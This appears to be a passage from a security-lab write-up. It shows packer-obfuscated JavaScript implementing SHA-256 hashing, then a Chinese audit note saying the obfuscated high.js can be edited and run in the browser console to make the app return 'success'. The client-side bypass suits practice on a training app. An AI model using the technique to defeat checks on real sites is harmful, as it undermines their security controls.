j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>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代码审计:high.js中用了js混淆,以通过调整JS,再控制台输入正确的JS文件,使应用获取到"success"。